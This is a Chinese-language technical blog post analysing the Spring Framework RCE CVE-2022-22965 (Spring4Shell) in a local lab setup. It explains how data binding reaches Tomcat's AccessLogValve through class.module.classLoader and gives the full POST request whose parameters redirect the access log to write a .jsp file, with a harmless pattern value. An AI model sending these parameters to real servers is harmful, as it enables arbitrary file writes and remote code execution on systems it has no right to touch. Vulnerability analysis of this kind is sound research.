1. 程式人生 > 其它 >Spring rce CVE-2022-22965

Spring rce CVE-2022-22965

原理大致是這樣:spring框架在傳參的時候會與當前POJO類自動引數繫結,通過“.”還可以訪問當前類的引用型別變數。使用getClass方法,通過反射機制最終獲取tomcat的日誌配置成員屬性,通過set方法,修改目錄、內容等屬性成員,達到任意檔案寫入的目的。

環境:

jdk9、springmvc、tomcat8

一、先來介紹下傳參的問題:

定義2個實體類

public class User {
    private String username;
    private String password;

    public String getPassword() {
        
return password; } public void setPassword(String password) { this.password = password; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public SubTest getSub(){
return new SubTest(); } }
public class SubTest {
    public void setsubfunction(String s){
        System.out.println("=====");
        System.out.println(s);
        System.out.println("=====");
    }
}

定義一個Controller類

@RestController
public class HelloController {
    @RequestMapping("/rce")
    @ResponseBody
    
public String helloTest(User user) throws IOException { System.out.println(user.getPassword()); System.out.println(user.getUsername()); return "hello spring : "; } }

不管是GET還是POST,只要是Controller接受的方式都可以傳參賦值。

利用POST方式,傳參

POST /rce HTTP/1.1
Host: 127.0.0.1:8083
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF
Connection: close
Content-Length: 15

username=vpanda 

這裡username=vpanda的傳參,呼叫了User的setUsername方法。

POST /rce HTTP/1.1
Host: 127.0.0.1:8083
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF
Connection: close
Content-Length: 25

sub.subfunction=aaaaatest

這裡sub.subfunction=aaaaatest,實際呼叫User的getSub方法,獲得SubTest物件後實現setsubfunction方法,傳參aaaaatest,最終實現SubTest型別的setsubfunction。

輸出

=====
aaaaatest
=====

二、接下去直接看POC的利用鏈:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=abc
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=D:\
class.module.classLoader.resources.context.parent.pipeline.first.prefix=rcetest
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

在這裡的實現邏輯是當前user物件getclass獲得了類物件,Class類中存在getModule,獲得module類物件,而Module類又存在getclassloader方法,最終返回一個類載入器。

 

 

 除錯輸出當前類載入器名稱

System.out.println("===classloader===");
System.out.println(classLoader);
System.out.println("===classloadername===");
System.out.println(classLoader.getClass().getName());
System.out.println("========");
===classloader===
ParallelWebappClassLoader
  context: ROOT
  delegate: false
----------> Parent Classloader:
java.net.URLClassLoader@1b7cc17c

===classloadername===
org.apache.catalina.loader.ParallelWebappClassLoader
========

通過輸出結果可以看到當前物件的類載入器是org.apache.catalina.loader.ParallelWebappClassLoader,

 

 

 

ParallelWebappClassLoader繼承WebappClassLoaderBase,WebappClassLoaderBase實現了getResources是WebResourceRoot介面型別,

WebResourceRoot介面存在getContext方法,Context介面型別,繼承Container,Container實現parent和getPipeline,Pipeline介面實現getfirst,

最終得到Valve型別,通過類物件遍歷所有成員。

Valve first = parallelWebappClassLoader.getResources().getContext().getParent().getPipeline().getFirst();
Class<? extends Valve> aClass = first.getClass();
System.out.println("====DeclaredFields=====");
Field[] fields = aClass.getDeclaredFields();
for (Field field : fields) {
    System.out.println(field);
}
System.out.println("====Methods=====");
Method[] methods = aClass.getMethods();
for (Method method : methods) {
    System.out.println(method);
}

輸出結果,可以看到利用鏈中幾個關鍵成員的set方法。

====DeclaredFields=====
private static final org.apache.juli.logging.Log org.apache.catalina.valves.AccessLogValve.log
private volatile java.lang.String org.apache.catalina.valves.AccessLogValve.dateStamp
private java.lang.String org.apache.catalina.valves.AccessLogValve.directory
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.prefix
protected boolean org.apache.catalina.valves.AccessLogValve.rotatable
protected boolean org.apache.catalina.valves.AccessLogValve.renameOnRotate
private boolean org.apache.catalina.valves.AccessLogValve.buffered
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.suffix
protected java.io.PrintWriter org.apache.catalina.valves.AccessLogValve.writer
protected java.text.SimpleDateFormat org.apache.catalina.valves.AccessLogValve.fileDateFormatter
protected java.io.File org.apache.catalina.valves.AccessLogValve.currentLogFile
private volatile long org.apache.catalina.valves.AccessLogValve.rotationLastChecked
private boolean org.apache.catalina.valves.AccessLogValve.checkExists
protected java.lang.String org.apache.catalina.valves.AccessLogValve.fileDateFormat
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.encoding
private int org.apache.catalina.valves.AccessLogValve.maxDays
private volatile boolean org.apache.catalina.valves.AccessLogValve.checkForOldLogs
====Methods=====
public void org.apache.catalina.valves.AccessLogValve.log(java.io.CharArrayWriter)
public synchronized boolean org.apache.catalina.valves.AccessLogValve.rotate(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.rotate()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getEncoding()
public void org.apache.catalina.valves.AccessLogValve.setEncoding(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.setRotatable(boolean)
public boolean org.apache.catalina.valves.AccessLogValve.isRenameOnRotate()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getDirectory()
public void org.apache.catalina.valves.AccessLogValve.setCheckExists(boolean)
public void org.apache.catalina.valves.AccessLogValve.setDirectory(java.lang.String)
public boolean org.apache.catalina.valves.AccessLogValve.isRotatable()
public int org.apache.catalina.valves.AccessLogValve.getMaxDays()
public void org.apache.catalina.valves.AccessLogValve.setMaxDays(int)
public boolean org.apache.catalina.valves.AccessLogValve.isCheckExists()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getFileDateFormat()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getSuffix()
public void org.apache.catalina.valves.AccessLogValve.setRenameOnRotate(boolean)
public void org.apache.catalina.valves.AccessLogValve.setBuffered(boolean)
public boolean org.apache.catalina.valves.AccessLogValve.isBuffered()
public void org.apache.catalina.valves.AccessLogValve.setFileDateFormat(java.lang.String)
public void org.apache.catalina.valves.AccessLogValve.setSuffix(java.lang.String)
public synchronized void org.apache.catalina.valves.AccessLogValve.backgroundProcess()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getPrefix()
public void org.apache.catalina.valves.AccessLogValve.setPrefix(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.invoke(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response) throws java.io.IOException,javax.servlet.ServletException
public void org.apache.catalina.valves.AbstractAccessLogValve.log(org.apache.catalina.connector.Request,org.apache.catalina.connector.Response,long)
public int org.apache.catalina.valves.AbstractAccessLogValve.getMaxLogMessageBufferSize()
public void org.apache.catalina.valves.AbstractAccessLogValve.setMaxLogMessageBufferSize(int)
public void org.apache.catalina.valves.AbstractAccessLogValve.setLocale(java.lang.String)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getLocale()
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getEnabled()
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getCondition()
public void org.apache.catalina.valves.AbstractAccessLogValve.setCondition(java.lang.String)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getPattern()
public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionUnless(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.setIpv6Canonical(boolean)
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionUnless()
public void org.apache.catalina.valves.AbstractAccessLogValve.setPattern(java.lang.String)
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getIpv6Canonical()
public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionIf()
public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionIf(java.lang.String)
public void org.apache.catalina.valves.AbstractAccessLogValve.setRequestAttributesEnabled(boolean)
public boolean org.apache.catalina.valves.AbstractAccessLogValve.getRequestAttributesEnabled()
public void org.apache.catalina.valves.AbstractAccessLogValve.setEnabled(boolean)
public java.lang.String org.apache.catalina.valves.ValveBase.toString()
public org.apache.catalina.Valve org.apache.catalina.valves.ValveBase.getNext()
public void org.apache.catalina.valves.ValveBase.setNext(org.apache.catalina.Valve)
public java.lang.String org.apache.catalina.valves.ValveBase.getObjectNameKeyProperties()
public void org.apache.catalina.valves.ValveBase.setContainer(org.apache.catalina.Container)
public java.lang.String org.apache.catalina.valves.ValveBase.getDomainInternal()
public org.apache.catalina.Container org.apache.catalina.valves.ValveBase.getContainer()
public boolean org.apache.catalina.valves.ValveBase.isAsyncSupported()
public void org.apache.catalina.valves.ValveBase.setAsyncSupported(boolean)
public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.getObjectName()
public final java.lang.String org.apache.catalina.util.LifecycleMBeanBase.getDomain()
public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.preRegister(javax.management.MBeanServer,javax.management.ObjectName) throws java.lang.Exception
public final void org.apache.catalina.util.LifecycleMBeanBase.postRegister(java.lang.Boolean)
public final void org.apache.catalina.util.LifecycleMBeanBase.preDeregister() throws java.lang.Exception
public final void org.apache.catalina.util.LifecycleMBeanBase.postDeregister()
public final void org.apache.catalina.util.LifecycleMBeanBase.setDomain(java.lang.String)
public final synchronized void org.apache.catalina.util.LifecycleBase.init() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.start() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.stop() throws org.apache.catalina.LifecycleException
public final synchronized void org.apache.catalina.util.LifecycleBase.destroy() throws org.apache.catalina.LifecycleException
public org.apache.catalina.LifecycleState org.apache.catalina.util.LifecycleBase.getState()
public java.lang.String org.apache.catalina.util.LifecycleBase.getStateName()
public void org.apache.catalina.util.LifecycleBase.addLifecycleListener(org.apache.catalina.LifecycleListener)
public void org.apache.catalina.util.LifecycleBase.removeLifecycleListener(org.apache.catalina.LifecycleListener)
public org.apache.catalina.LifecycleListener[] org.apache.catalina.util.LifecycleBase.findLifecycleListeners()
public boolean org.apache.catalina.util.LifecycleBase.getThrowOnFailure()
public void org.apache.catalina.util.LifecycleBase.setThrowOnFailure(boolean)
public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException
public final void java.lang.Object.wait() throws java.lang.InterruptedException
public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException
public boolean java.lang.Object.equals(java.lang.Object)
public native int java.lang.Object.hashCode()
public final native java.lang.Class java.lang.Object.getClass()
public final native void java.lang.Object.notify()
public final native void java.lang.Object.notifyAll()

在本地測試實現任意檔案寫入

POST /rce HTTP/1.1
Host: 127.0.0.1:8083
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=39A8228CB652B1A3CA4E1B49C87C40AF
Connection: close
Content-Length: 393

class.module.classLoader.resources.context.parent.pipeline.first.pattern=abc&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=D:\&class.module.classLoader.resources.context.parent.pipeline.first.prefix=rcetest&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=